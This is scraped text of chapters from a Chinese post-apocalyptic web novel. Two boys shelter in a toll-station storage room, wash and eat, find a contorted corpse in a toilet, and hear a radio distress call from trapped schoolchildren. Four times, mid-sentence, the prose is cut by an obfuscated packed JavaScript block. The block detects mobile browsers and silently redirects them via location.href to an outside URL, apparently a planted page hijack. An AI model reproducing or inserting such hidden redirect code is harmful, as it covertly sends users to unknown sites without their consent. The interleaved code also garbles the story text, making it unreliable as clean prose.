d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240352|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而是被劈头盖脸地挨了一顿训,星岑垂头丧气地把脸撑在手上,两只脚尖绷着抵在地上。 到这时候,寂染全身的力气都用光了,最后那点肾上腺素在确保安全后消失殆尽,手脚都又酸又软感觉不像自己的了。 他瘫在地上,想从包里拿水喝。 星岑虽然低着头,但一直偷偷观察着寂染的动作,看他想拿水,立刻跳起来,跑到旁边货架堆里,找了一瓶矿泉水过来。 寂染是真的渴极了,这么多天都没有喝到过真正意义上的水。 也不管保质期如何,他扭开瓶盖,大口大口喝起来。 好在,这水没有怪味。 喝了整整一瓶水,星岑又跑回货架拿新的给他。 这次没急着马上喝完,他扭开瓶盖递给星岑,自己又开了一瓶慢慢喝,他边喝边仔细打量四周。 刚才找人只是大致粗略看了下,现在仔细观察,才发现这储藏室里还有淋浴间。只是处于视角盲区被货架挡住才没发现,就是不知道有没有水。 “好喝吗?” 寂染看到星岑小口小口喝水,和他吃饭一样,他喝水也是很认真,不让一滴水漏出来。 “好喝。”星岑用力点头。 他喝够了,盖上瓶盖,又看到寂染随手放一边没盖盖子的半瓶水,便伸手把瓶子拿过来,帮他把盖子盖好,再规规整整地放到旁边的小茶几上。 “以后看到其他人,不要跟着走了,要等我,知道吗?”寂染盯着他动作,嘱咐说,“差点我就再也找不到你了。” 星岑原本没觉得有什么,但听寂染说两人差点分开,也有些后怕,便郑重其事发誓一定会等他:“这次是真的,我发的是不可打破的誓言,是绝对不能不遵守的!” 寂染有点茫然:“什么是不可打破的誓言?” “就像这样。”星岑把两只手捂住自己耳朵,神情严肃地闭上眼睛,嘴巴张张合合但没念出声。 沉默片刻后,郑重其事地把一只手放在寂染的胸口上:“好了,已经成功了。” 寂染看他一副神棍作态,忍不住问:“你跟哪里学的?” 星岑理所当然回答:“当然是医院里啊。” “有效果吗?”寂染狐疑地问,“如果打破了会怎么样?” “会死掉。”星岑表情少有的严肃,“有不遵守的,第二天就死掉了。” 寂染闻言抿紧嘴,没有再追问了。 但星岑还在滔滔不绝继续说,像是怕寂染不信,绘声绘色描述起来,听得寂染心里连连发毛。 等星岑开始举例到楼下病房老头偷喝酒第二天就死掉的时候,寂染浑身力气差不多恢复了。 听了那么多医院的死亡故事,寂染突然就想,纠结那些找不到答案的问题,好像也没什么用。 比如说找到那个女孩是谁,有什么意义呢。 至少对方愿意领着星岑找到了这个小小的物资点,能帮他们在这个可怕的地方暂时生存下来,看起来似乎也没有坏意。 就算真是见鬼了,也不比外面那些有呼吸的活人更可怕。 寂染想通这点,就觉得心情一下放松,连带浑身的精神头也跟着回来了。 他站起身,开始察看起房间里的物资,心里盘算着,这些东西可以让他们在这里待多久。 22. 找妈妈的路上(二十二) 所有物品都被分门别类整整齐齐地摆放在货架上,还分别写上了生产日期和保质期。 看着花花绿绿的包装袋,饼干、薯片、蛋糕、巧克力、牛肉干……寂染忍不住咽了口唾沫,但想到可能的生产日期,他又默默移开了目光,转头去看罐头和干粮。 以前他在电视剧里看到过,说罐头放了几十年都能吃,也不知道是编剧瞎编的,还是真这样。反正他们在医院没吃坏肚子,说明是能吃的。但这里还有其他罐头,特别是水果的,也不知道坏没坏,他一时有些犹豫。 “哇,有巧克力!”星岑兴奋的声音从身后传来。 寂染没回头,继续察看罐头的配料表,顺便嘱咐道:“不能吃,过保质期了,你要吃了会生病的。” 星岑犹犹豫豫地问:“会生什么病?” 寂染漫不经心地回他:“拉肚子吧,还可能会吐,然后就脱水——” 他还没说完,稀里哗啦的塑料袋声音突然响起。寂染连忙回头,就看到星岑正急切地往嘴里塞巧克力,还睁大眼睛看着他,嘴里着急地拼命咀嚼。 “死掉……”等寂染把最后两个字说完,星岑正好把巧克力囫囵吞枣似的咽进肚子里。 听到最后两个字,星岑表情有一瞬间怔愣,随后吸了吸鼻子,着急地望向寂染:“哥哥,怎么办,我要死掉了!” 寂染没想到他动作居然这么快,自己一句话没说完,他就立刻咽下去了。他只能皱着眉把剩下的巧克力拿过来,仔仔细细反反复复地察看,好在没有发霉,也没有散发臭味,看起来似乎没坏,他不敢肯定,于是又问:“吃起来什么味道?” 可能是害怕自己会死,星岑突然变得沮丧起来,纠着手指,垂头丧气地说:“就巧克力的味道。” “有没有其他怪味?仔细想想,有没有和以前吃过不同的味道?” “没有,”星岑咂吧咂吧嘴,认真地回忆,“就是巧克力的味道,甜甜的,很好吃。” 寂染半信半疑地掰下一小块,塞进嘴里,在星岑担忧的目光里,慢慢咀嚼,然后吞咽下去。 星岑也不由自主跟着他做了个吞咽动作,随后紧张地问:“怎么样,会不会死?” 的确没有怪味,寂染心想,但嘴上说:“再观察一下。” 接着,又嘱咐星岑:“不要再乱吃东西了。” 星岑连忙点头,亦步亦趋地跟在寂染身后,寂染想了想,又拿了瓶水扭开瓶盖递给他:“把这个喝了。” 星岑摇头:“哥哥我不渴。” “不是让你解渴,是让你多喝,等下把巧克力排出去。” “啊?”星岑呆呆地拿过水瓶,疑惑地问,“巧克力会跟着尿尿走吗?” “嗯,应该会的。” “那好吧,我多喝点。”星岑双手捧起水瓶,一边努力喝水,一边揉着肚子叹气。他觉得自己的肚子,已经一点点鼓起来了。 寂染看他站在旁边难受,便指着旁边的小沙发,让他过去坐着。 星岑点头,但没动,还是抱着水瓶跟在寂染身后。 寂染只好说:“不会有事的,等你把这瓶水喝光,再尿个尿,就不会中毒了。” “真的吗?” “千真万确,骗你是小狗。” “好吧。”星岑脸上表情不怎么信,但还是答应了,寂染看着他转身,才松了口气,继续查看物资,可刚数罐头数到三十四,星岑又啪嗒啪嗒跑过来。 星岑问:“哥哥,我可以现在洗澡吗?”他有些嫌弃自己脏,不想把沙发也弄臭。 寂染一愣,回头看向角落里的洗漱间。 他不太确定那里能不能用,于是让星岑等等,自己先进去查看下。令他惊奇的是水龙头里是真的有水,而且还是不浑浊也不臭经过过滤过的清水。看来这个小储物间不仅有通风系统,还有污水过滤系统,寂染原本还有些慌乱的心情,一下就平稳了。 从货架找到新毛巾、肥皂、洗发水还有牙刷牙膏,寂染招呼星岑过去。 星岑在浴室门口探头探脑,观察片刻,有些嫌弃地说:“没有小鸭子。” 寂染听不懂他说什么,伸手拉他进去,在淋浴头下把水打开,刺骨的冷水一下冲到脚背上,星岑“呲”了一声,欢快道:“好凉快呀!” 寂染试着调温,但发现没有热水,可看星岑的样子倒是不介意,心想这孩子倒是意外地不娇气好养活。 “你先等我下。”寂染出去,又在货架旁拿了一大一小俩盆子,还有两双拖鞋。 等他再回去,看到星岑正斯哈斯哈在花洒下面自顾自地洗起来。水还是冷水,他一边打激灵,一边原地跳,手上也不停,一直画圆圈搓着肚子。 寂染把他脏兮兮看不出颜色的鞋子放到一边,给他拿了拖鞋换上。又把脏衣服、毛毯、背包全都一股脑放进大盆子里,和肥皂化的水浸泡在一起。 可刚把脏东西泡进去,盆里的水立刻就黑了,他不得不先全拿出来用清水冲洗一遍,等把泥沙冲洗完,再去浸泡到肥皂水里。 他们俩也和这些衣服差不多脏,在水下随便冲洗了下,地上便全是黑黑黄黄的泥浆。寂染只能把花洒拿下来,把泥浆冲散,再去拿肥皂递给星岑。 星岑手太小,一下没拿住,肥皂呲溜一下,掉在地上。他连忙去捡,但还是拿不住。等寂染回头,他已经跑浴室另一边去了。 寂染连忙去把他拉回来,让他去水底下待着,自己去拿肥皂。刚起身,就看到墙上有数个密密麻麻的坑。 淋浴间的墙壁是某种金属,有点像他们在医院的安全屋。这些坑有大有小,还有针刺一样的小尖,像是有东西从外面试图进来,一直在撞击这里。 寂染看着这些大小不一的坑,心跳莫名有些加快,他不知道这些坑洞是什么时候造成的,但很明显,还有其他人……或者是怪物,知道这个地方。 “哥哥,泡泡进我眼睛里了!” 逐渐适应了水温,他俩都不觉得冷了。 寂染把小板凳搬了进来,随后就穿着背心坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240353|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在上面,使劲揉搓着星岑的脑袋,肥皂泡溢得到处都是,刺激得星岑睁不开眼睛。 一开始他还能忍,但寂染力气越来越大,把他弄得东倒西歪,洗发水顺着各种角度流进眼睛里,终于他忍不住,哇哇大叫起来。 寂染吓了一跳,连忙拿毛巾把他眼睛擦干净,再拿花洒给他冲洗多余的肥皂泡。就这样又揉又搓,洗了两三遍,等终于是清水了,才露出那张像瓷娃娃般精致的脸。 星岑真的很好看,至少寂染没见过这么好看的孩子,连电视上打广告的小孩也没他精致,就是可惜太瘦了,如果脸上再多点肉,就更像洋娃娃了。 这是寂染第二次看到了,所以已经不再那么震惊。他淡定地回到货架,从标记生活物资的地方,找到了一张又厚又大的毛巾,然后裹住了洗干净的星岑,让他自己出去玩,自己好洗澡,顺便把他们的脏衣服都洗了。 寂染洗澡的时候,星岑就裹着拖地的毛巾,回到沙发上,继续喝他的那瓶水。 等星岑一离开,寂染的目光又不自觉投向那个满是坑的角落。 刚才他出去找人的时候,记得这面墙壁的背后应该是洗车场,有个拉着卷帘门的房间就紧紧贴着这里,现在回想起来,应该是自动洗车间。 寂染抬手摸了摸那些坑,心想要不要去看下怎么回事。 可转念一想,如果这里的墙壁材质和安全屋的类似,那制造出这些坑洞的会不会是医院里看到的那种怪物呢? 而且自从那个怪物从走廊逃脱后,他就再也没见过了。也不知道那东西跑去哪里了,最后是不是留在医院,被那场大火烧死。 比起仔细一点就能躲开的变种植物,和那些疯狂跳岩浆的疯子怪人,有智力、会主动捕猎人的怪物要可怕很多倍,他没有把握,再见到它能有那么好运活下来。 希望它被烧死了。寂染默默地想,收回目光,拿起地上的肥皂,使劲揉搓着手臂上的泥沙。 在碰到后颈时寂染感觉到了异物,不由愣了一下,才想起来贴在自己脊椎上那个辅助行走器,也不知道能不能碰水。 应该可以吧,毕竟没有电。这个东西是什么时候制造的呢?在他那个时代,他很确信还没听说过这种东西。 在寂染胡思乱想的时候,星岑已经喝完了整瓶水,很快便有了尿意。他抬头看了一眼浴室,努力忍着等了等,但没等到水声停下。 “哥哥,我想上厕所。”星岑使劲夹住双腿,身体缩成一团,大声喊道,但没有得到回应。 水声掩盖了呼喊声,寂染正在努力揉搓他那头长到大腿、被泥沙黏糊成一团的头发。 没听到寂染的回话,星岑也等不及了,只当对方默认,便拿起手电筒,着急忙慌地朝门口走。 储物间里有浴室没有厕所,要上厕所,必须去超市旁边的公厕。 现在外面黑漆漆的,就算有手电筒,还是挺可怕。但星岑实在憋不住了,他深吸一口气,把拖地的毛巾系在脖子上,像披风一样裹住身体,快速往外跑。 23. 找妈妈的路上(二十三) 这里是一个非常大的收费站。厕所设置了几十个,也不分男女,全是一个个小隔间。 现在这些隔间的门几乎全都坏了,还有不少整个坍塌,只剩下一堆杂乱叠起的砖头。 星岑的忍耐力在到达厕所的刹那间消失。 再没有时间去找哪个隔间有完整的马桶,他就把手电筒放在地上,对准最近的坍塌隔间尿了起来。 “呼。”叹了口气,星岑舒服得打了个激灵。 等尿完后,他把手在身上系着的毛巾上擦了擦,下意识低头,隐隐约约看到废墟里有个黑乎乎的玩意。 他不由眯起眼睛,捡起地上的手电筒,借着手电微弱的光…… “啊——” 寂染冲了出来,就看到星岑站在厕所边,牙齿咯吱咯吱打战,眼睛死死地盯着面前的隔间,瞪得老大。 寂染大步走过去,他拉住星岑的手臂往身后拽,再看进隔间,不由倒抽一口凉气。 那是具风干不知道多久的尸体,可怕的是他的姿势。 他背对着门,双膝跪在地上。 而最让人毛骨悚然的是,他把头整个埋进马桶里,而两只手死死捏紧了马桶边缘。 用的力气很大,能看到撕裂异常还有严重骨折的指骨,似乎拼了命想把自己塞进马桶里。 更诡异的是,他仿佛整个人溶解了。 一部分身体变成黑色的胶质物和马桶,还有周围坍塌的废墟连在一起,这让寂染莫名想起先前在彩绘车里看到的那具诡异的干尸。 燥热的空气里,星岑起了一身的鸡皮疙瘩。 他双手死死抱住寂染的腿,等寂染把隔间门关上,才缓缓回过神来,后知后觉地闭紧了眼睛。 他哑着嗓音,颤抖着问:“哥哥,那是丧尸吗?” “不是,”寂染艰难地咽了口唾沫,捡起地上翻滚的手电筒说,“只是个死人。” “那,那为什么他要把头塞进马桶里?” “怎么会有人把头塞马桶呢?”寂染大脑迅速运转,快速编出一条逻辑通顺的理由,“哦,我知道了。他只是在上厕所,但正好遇到地震了。他就被震得左摇右晃,一不小心摔了进去,脑袋就正好卡在马桶里了。” “那他运气好差啊……” “是啊,运气太差了。” 寂染牵住星岑的手,他的手黏糊糊的,手心全是汗,整个人还在打哆嗦,显然是吓得不轻。 走了两步,寂染忽然回过神。他低头看了看和星岑握在一起的手,冷不丁问:“你洗手了吗?” 星岑一愣,眼神乱飘,右侧腿的趾尖在地上蹭来蹭去,结结巴巴说:“我,我擦过了。” 寂染沉默了,盯着自己和星岑交握的手,半晌,他拉着星岑回到浴室,两人又重新洗了一遍。 “以后想上厕所,直接到浴室里,对准那个地漏尿,知道吗?”寂染拿出一张干净毛巾,用力擦着星岑再次打湿的头发。 星岑点头,刚才被寂染一打岔,他就不再害怕了,而在又洗了个冷水澡后,反而变得更加精神了,开始滔滔不绝地问:“那我想大大呢?” “叫上我,我们去后面林子里解决。” “好的。”星岑说,“我刚才也喊你了,但你没听见。” “下次你敲门。” “如果你在睡觉呢?” “你就喊醒我。” “可你要是出门了呢?” “不会,”寂染耐着性子说,“以后我去哪里都会带着你。” “行吧。”星岑终于满意了,不再追问。 离开医院的时候,幸亏带了两件星岑的换洗衣服。 刚才寂染跑出去的时候,因为着急,只在腰上系了条毛巾。现在他可没打算再穿上那件脏兮兮的病号服。 重新洗漱完后,他在储物室里转了转,最后在杂物间找到一套全新的洗车工制服。 他实在干瘦得厉害,就算是最小号的制服穿起来也太大,松松垮垮的,只好把裤腿和袖子挽起来。 站在镜子前,一个苍白消瘦的少年显露了出来,他捏了捏身上那层紧绷的皮。 由于太长时间没有摄入足够多的实体食物,这些天他并没有长肉多少。 甚至在清晰的光线下,他看起来比上次在医院幕墙上看到的模样还要吓人。 他盯着镜子,幻想自己是个披头散发的火柴棍, 于是他果断拿起剪刀,拽住自己那头稻草似的干枯长发,毫不留情地咔嚓咔嚓起来。 星岑一直蹲在门口,眼睛牢牢地盯着寂染,虽然没在发抖了,但心里还是害怕。 以前在医院里,他看到好多人死掉,但外公和医生说他们都是上天堂,跑到天上生活。 可因为皮囊太重了,飞不起来,所以才要抛下,只有灵魂才能飘上去。 因此星岑从小不怕死人,但他不想那么早离开。 因为这里有小花、蛋蛋、大壮,有张医生、陈护士,还有爸爸妈妈外公……以及才认识的小哥哥,他一点都不想离开。 可他在看到刚才那具奇怪的尸体的时候,还是害怕了。 是浑身发凉、出于本能地、起鸡皮疙瘩的害怕。 到现在他都不敢闭上眼睛,怕自己一旦闭上,就又看到那个可怕的死人。 不知道为什么,他总觉得,那个人应该上不了天堂,他可能被困在这里了,说不准什么时候会爬起来。 想起大壮说过的丧尸,又想起一墙之隔的尸体,星岑冷不丁打了个寒颤,转身跑到寂染身边,猛地抱住他的腿。 寂染正在剪头发,被他突如其来的一撞,剪刀一下剪歪了。 他看着镜子里自己杀马特似的斜刘海发型,沉默了。 随后他做了个深呼吸,举着剪刀,低头看向抱着自己的星岑,微笑着问:“你头发是不是长了?” 星岑正仰头愣愣地看着寂染的新发型,听到他的话便瞪大了眼睛,连忙摇头:“不用了,不用了。” “头发长不好打理,我还是帮你剪短一点。”寂染把眼睛眯起来,用力开合剪刀,发出咔嚓咔嚓的声响。 “不,好打理的。”星岑浑身一激灵,连忙拒绝。还为了表示自己没骗人,把手指当梳子,刮着自己头发,说:“你看,很好打理的。” 寂染冷笑一声:“不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240354|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我就要给你剪短。” “不要。”星岑急了,立刻松开他,往外狂奔。 寂染没放过他,拿着剪刀做出凶恶的表情,怪叫着冲向他。 两人你追我赶嬉闹了一会儿,最后寂染把星岑抱起来转圈,直到转到头晕目眩,两人一起摔进沙发里告终。 星岑把脑袋埋进抱枕里,上气不接下气地哈哈大笑。 寂染还在哈他胳肢窝。他努力夹紧胳膊,哈哈讨饶:“我错了,哥哥,我错了。” “还剪不剪头发?” “不……” “嗯?” “好吧,但能不能只剪一丢丢?” 胡乱缠着说了一会儿,星岑最终保住自己的头发。他伸手盖在自己肚皮上,使劲喘着气。 过了几分钟后,寂染听到他的小肚皮叫了一声,他刚挑眉,就听到星岑不好意思地问:“哥哥,你饿了吗?” 寂染这时候后知后觉有些饿了,他站起身,问:“想吃什么?” “都可以。”星岑瞄着货架,状若不经意地提到,“要是有好多肉肉就好了。” 寂染笑了下,随后点点头,走到货架旁拿了一小袋干粮,还有好几个肉罐头,以及自热火锅。 他没打算吃自热火锅里的食物,总觉得坏了,他只是想用它的石灰自热袋来加热罐头。 水和脱水蔬菜都有,他混着五花肉罐头,搅拌搅拌,一起放在自热火锅上面的盘子里。 接着,他又打开干粮,仔细检查了下,发现没有变质,便拿到洗浴室洗了洗,然后放在另一个自热火锅上煮。 星岑一直眼巴巴盯着他的动作,手里拿着纸杯和一次性勺子。 伴随着咕嘟咕嘟的煮沸声,他不停吞咽唾沫,焦急地等着。 等待的时间里,寂染出去把洗干净的衣服晾在外面——加油站用来挡车的栏杆,正好可以当做晾衣架。 这次食物管够,虽然煮熟的米是夹生的,但两人还是美美地饱餐一顿。 好久没吃到正儿八经的熟食了,他们坐在地上,你一勺我一勺,很快把东西吃完了。 星岑吃得特别香,满嘴都亮晶晶的全是油。 最后他还拿勺子去刮干净纸杯里的米糊,等彻底吃干净后再手背一抹嘴角,又去刮自热火锅上剩的油,又变成了满脸红油的小花脸。 寂染熟练地拿湿纸巾擦干净他的脸和手,然后把水果罐头打开,准备吃点餐后甜点。 可打开后他就失望了,水果果然坏了,上面已经长出了花花绿绿的霉团。 “没关系的,”星岑拍拍他的肩膀说,“林子里有果树,到时候我去给你摘,挑最大最好的。” “算了吧。”寂染摇头,叹了口气,“别你被树当果子吃掉了。” “……”想到了那些可怕的变异树,还有被吸干的肥老鼠,星岑难得没再纠缠这个话题。 这时候时钟指到晚上十点,寂染打了个哈欠。 他边揉眼睛,边打量四周,准备整理出个睡觉的地方,就听到屋子里响起有人轻声说话的声音—— “……有没有人,这里是海德中学,我们被困住了……” 24. 找妈妈的路上(二十四) 寂染和星岑都被突如其来的声音吓得一激灵,任谁都受不了凭空冷不丁出现一道人声。 但很快,人声里夹杂的电流音让寂染意识到是怎么回事。 他走进杂物间,循着声音的方向找,最后在椅子最下面,插座旁边,找到了一台收音机。 “别怕,是收音机。”寂染让开,把位置指给星岑看。 星岑脸色煞白,额角还有冷汗,看到收音机后,他愣了愣,随后“哈”了一声,强打着精神笑了下,声音还在发颤:“缩,缩话的是那东西,哈哈,吓我一跳。” “嗯,这是收音机,可以放录音带,是我小时候用过的东西,你看,还可以搜索电台……” “有没有人……这里是海德中学,我们被困住了……” 声音又响起来了。 星辰不由自主地闭上了嘴巴,他有点紧张地咽了口唾沫,手紧紧地抓着门板,眼睛瞪得圆圆的,不安地看向寂染。 寂染示意他出去,自己则坐到椅子上,拿起收音机放在膝盖上,把声音调大了些。 星岑虽然有些怕,但也不想离开,于是贴着他靠过来,一双手死死抱住他的胳膊。 寂染瞥了他一眼,没多说什么,专心听起来。 声音调大后,电流声也更大了。 【滋滋滋——】 “咳咳咳……这里是海德中学,校图书馆,请救救我们,咳咳咳……” 收音机里先是传来男人短促的喘息声,背景音还有一片混乱的脚步音,像数十人在奔跑追逐,挣扎,尖叫,光听声音,就能感到一阵毛骨悚然。 男人激烈的咳嗽声后,拉长了声音,能听出刻意在保持着镇定:“我们……总共有二十七人,全被困在图书馆地下室的档案室里,铁皮架压住了一些人……我们在想办法施救,但是……” 话说一半,突然呯的一声,什么重物倒在地上,打断了男人的说话声。 他忽而紧张起来,声音由近及远,声嘶力竭地朝人大喊:“按住他,别让他再去撞墙……按不住吗?拿绳子捆住他,安妮,等等,我来。” 紧接着,换了个颤抖的女声。她带着哭声哽咽着说:“有,有好几个孩子发了狂,他们没了理智,想冲到外面去,拼命撞击门板,甚至撞得头破血流,我们不得已只能把他们绑起来。” 她忍不住哭起来,呜咽一阵后,才犹豫地说:“有人,如果有人听到,请帮帮我们……我们要药,两个孩子有先天性糖尿病,需要胰岛素,还有一个需要哮喘喷雾……如果有食物和水……” 突然,一声令人不安的嚎叫声响起,仿佛野兽痛苦的嘶吼。 收音机里,男人的声音从远处传来:“科林,冷静些,帮忙照顾其他人。” 另一个声音说:“老师,那是不是丧尸,他会不会变异啊。” “别胡说八道……把他们捆结实点,关到……关到最后面的办公室去。安妮,你去帮孩子们,我在抽屉底下发现了一些外伤药。” 女人立刻起身,在一阵衣服摩擦的窸窸窣窣声中,频道里换回了不停咳嗽的男老师,但他的声音却好像担忧而紧绷着。 他用疲惫而沙哑的嗓音说:“我们已经持续呼救十八个小时了……只少量食用一些水和食物,体力透支相当严重,所有人都变得焦躁不安……现在这里大部分都是学生,有好几个孩子状态很差,我们很担心。但我们出不去,地下室的门不知道被什么东西压住了,把我们困在里面——” 撞击声再次响起了,背景传来孩童们压抑的啜泣。 男人突然大叫一声:“啊!张琳,他……你们都别去碰他,孩子们,过来,到我这里来。” 就在这时,收音机里高频干扰音爆发,隐约夹杂着非人类的嘶吼声,场面一时间变得惊心动魄,孩子们疯狂叫喊起来。 “老师,快看啊,他肚子鼓起来了,有什么东西要出来!” “他脖子变得好粗,啊——啊——有东西从他嘴里——” 布帛撕裂声突兀地响起,似乎令人不安而恐惧的事情正在发生,许多人发出惨烈而尖锐的喊叫声。 “啊,这是什么,天啊,来个人救救我们,好可怕,好可怕——” “乔治,你拿棍子干嘛,过来,不要去捅它们!” 紧接着混乱开始了,更多的人在嘶吼,尖叫,还有金属碰击混凝土地面的碰撞声,他们似乎在对抗什么。 “求求,救救我们——” 一句话没说完,信号突兀地戛然而止。 就和恐怖电影片段一样,信号突然中断,只剩下滋滋滋厚重的电流音,还有无尽的令人不安的猜想。 寂染的脸色不太好,眼睛里有惊慌,就那么怔怔地盯着收音机,神色恍惚。 星岑半途被捂住了耳朵,他困惑地眨了几下眼睛,抬头望向对方,声音里带着一丝迷茫:“哥哥?” 寂染回过神,把手放下,假装镇定地说:“是求救信号。” “哦,我知道。”星岑点点头,他刚才只听到了前一半,问,“那我们要去救他们吗?” 寂染拧眉,舔舔干燥起皮的嘴唇,他摇头:“我们可能救不了……”说着,他忍不住轻轻抠了下手背。 星岑半知半解,他搞不清状况,只是习惯性听哥哥的话,跟着寂染认真地点头:“嗯,救不了。” “我们没有他们要的药。”寂染站起身,把收音机的电源关掉,理所当然道,“我们都能听到,其他人应该也可以。大人们会想办法去救援的,我们最好的办法就是照顾好自己,别给大人们添麻烦。” “最好,别添麻烦。”星岑跟着重复。 “现在外面那么危险,我们必须先是确保自己是安全的。”寂染说。 “嗯,是的。” “而且我们不知道那个安什么中学在哪里,万一迷路了,我们就回不来了。”寂染喋喋不休继续说。 “我知道的哦。”星岑突然仰头说。 寂染顿住,垂眼看他。 “就在离这里不远的地方,我以前坐外公的车去接过妈妈哦。” 寂染一愣:“你妈妈在那里上班?她是老师?” “不是吧,”星岑不太确定,皱着眉头回忆,“外公说她是去给哥哥姐姐打疫苗的。” “那就没事。” “哥哥,老师是做什么的?” “你都知道学校,不知道老师是做什么的?” “可我没上过学啊。” “……是教小朋友学问的。” “可是,妈妈要教我呢!” “你妈妈只教你,不教其他人。” “哦。”星岑努力回忆了下,“好像是的,她教过我填格子,你知道填格子吗?” 星岑开始絮絮叨叨说起了他的填格子游戏。见星岑没再追问救人的事,寂染暗暗松了口气。 不是他自私,是在这种时候,这种地方,又遇到那么多怪人怪事,他不得不多为自己考虑。 更何况他还带着星岑。要是他有了三长两短,才五岁的星岑根本没办法在这个可怕的世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240355|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界里自己一个人活下去。 他尽力不让自己去回忆那段求救信号的细节。经历了整整一天的辛苦奔波,他们心情大起大落,这时候,寂染已经很疲惫了。 星岑也困了,不停打着哈欠。但他还强睁着眼睛,一副还要给寂染继续说的样子。 于是寂染收起了收音机,拉着睁不开眼的星岑,一起去沙发。虽然储物室是恒温的,但他还是觉得腿上要盖着点什么。 寂染便又去货架拿了几条毛巾。等他回来,星岑已经倒在沙发上,眼皮耷拉着,小腿悬在沙发外面,一副快要睡着的样子。 他轻手轻脚走过来,把毛巾盖在星岑的小腿上,跟着也把另一张盖在自己的肚脐眼上,然后一声不响,紧挨着星岑躺下。 一开始他只是靠在星岑旁边,但睡着睡着,他忍不住伸出手,抱紧了星岑幼小的身体。 星岑不舒服地低声嘟囔了几句,却没有打算挣开,只是换了个姿势,把头深深埋进了寂染的颈窝里,也抱住了他的脖子。 寂染感受着他柔软的头发,温暖的皮肤,带着香氛的香气溢在鼻边,才让他在强忍许久的颤栗中回过神来。 原本他以为自己可能还要胡思乱想一阵,但一闭上眼,就坠入了无边的梦境。 意识迷糊前,他仿佛又听到了滋滋滋的电流声—— “有没有人……我被困在地底下……我叫做寂染……” * 猛地睁开眼,寂染从冗长的噩梦中惊醒,这时候已经是早上八点了。 他浸着一身冷汗,湿淋淋地起床,快速地洗漱一番,才回头看向沙发上的星岑。 这时候星岑双眼紧闭,嘴巴半张着,看起来还沉浸在梦乡里。就算听到外间的异响,他也没有醒来,而是转过身整个人窝进了沙发的最里面,把自己的脸埋进毛巾堆里。 没有叫醒他,寂染拿起背包,轻手轻脚地推开门。他轻轻转动门锁,再拿起木棍卡住门缝,随后便悄然踏入外界浓重的黑暗。 清晨天空仍旧没有亮起来,四周依旧是无边无际的黑暗。 呜呜的热风裹挟着沙刮着公路上生锈的车辆,发出令人耳朵不舒服的声音。 寂染艰难地顶着沙尘在外行走。他先去后面的树林,找了个隐蔽又安全的角落,快速解决掉个人问题。 随后,他又去了加油站的办公室,想要找找有没有有用的资料。 和医院不太一样,加油站里的东西并没有全部被清理干净。 他甚至看到一张完好无缺的黑板,上面还写着当日的工作计划和广告推销目标。 但这里的秘密明显比医院的少,许多人都在对灾难毫不知情的情况下,安排着手里的工作。而对于在停车场内修建了一个安全级别极高的储物间,工作人员也没有表现出太多的大惊小怪。就好像在那个时候,这不过是一件习以为常的普通事情。 接着,他在办公室里找到了三部手机,一开始他差点没辨认出来。 因为那些手机像卡片一样薄,甚至还可以弯曲成手表的样子套在手腕上。 直到他在桌子上,发现了一张关于手机的纸质广告,才得知那薄片居然是个手机。 “看来科技再发达,广告传单还是最老版的最有用。”寂染默默地感叹,一边好奇地吸取相关讯息。 而科技发展也并没有他想象的那么快,什么上天入地,机器人占领地球,星际联盟。 反而是整个世界的科技,突然在一段时间里十分诡异地陷入了停滞阶段,没有人知道原因。 25. 找妈妈的路上(二十五) 然而,根据停车场超规格的储物间,还有医院隐蔽的安全屋来看。这场灾难的信息,其实早就被一些人掌握,他们也已经暗地里做起了准备。可问题是,灾难爆发得太突然了,准备的东西根本来不及派上用场。 寂染看了一会,心底莫名涌起一阵不安。 没有多做停留,他拿到想要的就快速回到了超市。 回到储物间,星岑已经醒了,正坐在沙发上发呆。 寂染把手电筒放下,走过去,轻拍他的脑袋:“你醒了吗?” 星岑拧起眉,不太高兴地瞪向他。 寂染微微迟疑,看了看自己的手,忽然意识到自己上完厕所还没洗,于是他把手背在身后,轻咳一声,语气温和地问:“想吃什么?稀饭可以吗?” “第二次!”星岑突然开口。 “什么?” “你说去哪里都带上我的!” “我只是去上了个厕所。”寂染向他解释,“你在睡觉,我就没想打扰你。” “骗人精。”星岑突然发起脾气,“你明明说过好多次,去哪里都带着我的。” 